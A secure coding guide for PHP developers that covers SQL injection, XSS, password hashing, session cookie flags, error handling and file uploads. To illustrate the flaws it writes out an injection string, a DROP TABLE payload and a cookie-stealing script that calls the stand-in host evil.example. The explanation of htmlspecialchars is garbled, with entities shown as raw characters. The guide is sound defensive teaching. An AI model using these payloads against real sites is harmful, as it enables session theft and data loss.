Secure Coding Fundamentals for LAMP Stack Engineers

// ❌ NEVER do this
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = $mysqli->query($query);

If $_POST['username'] contains admin' OR '1'='1, the final query becomes:

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

'1'='1' is always true — the attacker just logged in as every user at once.

// ✅ Always do this
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$user = $stmt->fetch();

No matter what the user types — including '; DROP TABLE users; -- — it is treated as a literal string value, never as SQL code.

// ❌ NEVER do this in a template
<p>Welcome, <?php echo $_GET['name']; ?></p>

If name is <script>document.location='https://evil.example/steal?c='+document.cookie</script>, the browser executes that script, sending the victim’s session cookie to an attacker.

// ✅ Always escape before echoing
<p>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?></p>

htmlspecialchars() converts < to <, > to >, " to ", and ' to '. The browser renders these as literal characters — the tag is never parsed as HTML.

// ✅ Registering a user
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
// Store $hash in the database. The plaintext is discarded.

// ✅ Verifying at login
if (password_verify($_POST['password'], $storedHash)) {
    // Password matches — start session
}

PASSWORD_DEFAULT is also acceptable; PHP updates it to the current best algorithm automatically. password_verify() is timing-safe, preventing timing-attack side-channels.

// ✅ Set these before session_start()
ini_set('session.cookie_secure', '1');    // HTTPS only
ini_set('session.cookie_httponly', '1');  // Not accessible via JavaScript
ini_set('session.cookie_samesite', 'Strict'); // No cross-site sending
session_start();

Flag	What it prevents
Secure	Cookie sent over HTTP (plaintext interception)
HttpOnly	JavaScript reading the cookie (XSS-based theft)
SameSite=Strict	Cross-site request forgery (CSRF)

// ✅ In production php.ini (or .htaccess)
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

// ✅ In your application bootstrap
if (getenv('APP_ENV') === 'production') {
    error_reporting(E_ALL);        // Capture everything
    ini_set('display_errors', '0'); // Show nothing
    ini_set('log_errors', '1');    // Log everything
}

Show users a generic “Something went wrong” message. The real error lives in your server log.

// ✅ Validate server-side, not client-side
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['upload']['tmp_name']); // Read magic bytes

if (!in_array($mime, $allowed_types)) {
    die('Invalid file type.');
}

// ✅ Store outside the web root
$dest = '/var/uploads/' . bin2hex(random_bytes(16)); // Random name, no extension
move_uploaded_file($_FILES['upload']['tmp_name'], $dest);

// ✅ Serve via PHP, never directly from Apache
// This prevents the file from being executed as a script